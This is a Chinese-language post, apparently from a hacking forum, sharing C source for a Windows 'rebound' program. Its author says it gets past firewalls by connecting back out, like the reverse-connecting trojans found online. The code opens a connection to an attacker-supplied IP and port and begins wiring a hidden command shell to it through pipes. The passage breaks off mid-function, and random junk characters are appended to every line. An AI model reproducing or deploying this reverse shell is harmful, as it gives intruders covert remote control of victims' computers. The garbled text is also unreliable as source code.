这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 f>?^uSpWH
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/* ============================== *EX$v4BX
Rebound port in Windows NT 1Q0%7zRirI
By wind,2006/7 ;7wwY$PBH
===============================*/ ;!^ +N
#include ./';P<)
#include (v|ixa
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#pragma comment(lib,"wsock32.lib") `X3Xz!
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void OutputShell(); 1mY+0
SOCKET sClient; 0I(uddG3
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ntDRlX
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void main(int argc,char **argv) 5#yJK>a7
{ [..,(
WSADATA stWsaData; xcAF
int nRet; V@LN
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SOCKADDR_IN stSaiClient,stSaiServer; `WP@ZSC6
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if(argc != 3) J2)-cY5G
{ Wk0>1 rlu
printf("Useage:\n\rRebound DestIP DestPort\n"); x:=0.l#
return; AlAh
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} xI-=tib
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WSAStartup(MAKEWORD(2,2),&stWsaData); ]u\ `
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2Px$0&VN
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stSaiClient.sin_family = AF_INET; z"G`o"4
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stSaiClient.sin_port = htons(0); NvEm,E\|
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }C_G0'"F
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \.K\YAM<
{ eL]{#WL
printf("Bind Socket Failed!\n"); RPz!UMQSD
return; ;"d?_{>7
} oV%(
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stSaiServer.sin_family = AF_INET; #Nu%]
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :;" aUHU'
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ib_n'$5#z
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~E^yM=:h
{ ckH$E%j
printf("Connect Error!"); KK&<Vw|O\
return; Z/XM`Cy
} xn%l
OutputShell(); Qx6,>'Qk'
} /}h71V!
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void OutputShell() oG4w8+N
{ S3j]{pZ(z
char szBuff[1024]; v9j4|w
SECURITY_ATTRIBUTES stSecurityAttributes; xI/{)I1f
OSVERSIONINFO stOsversionInfo; VEFwqB1l
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; G\'u~B/w
STARTUPINFO stStartupInfo; Pg!;o=
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char *szShell; <3i4NXnL2
PROCESS_INFORMATION stProcessInformation; w^:V."}-$
unsigned long lBytesRead; 8`L#1ybMO
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); F20wf1^
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); kT Z?+hx
stSecurityAttributes.lpSecurityDescriptor = 0; !s#'pTZk4
stSecurityAttributes.bInheritHandle = TRUE; 7yqSt)/U
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :_{{PY0PK
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); j#Ky0+@V
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3<e(@W}n-M
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p]1yd;Jt
stStartupInfo.wShowWindow = SW_HIDE; xN{"%>Mx
stStartupInfo.hStdInput = hReadPipe; c {f:5 p
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; v -|P_O&z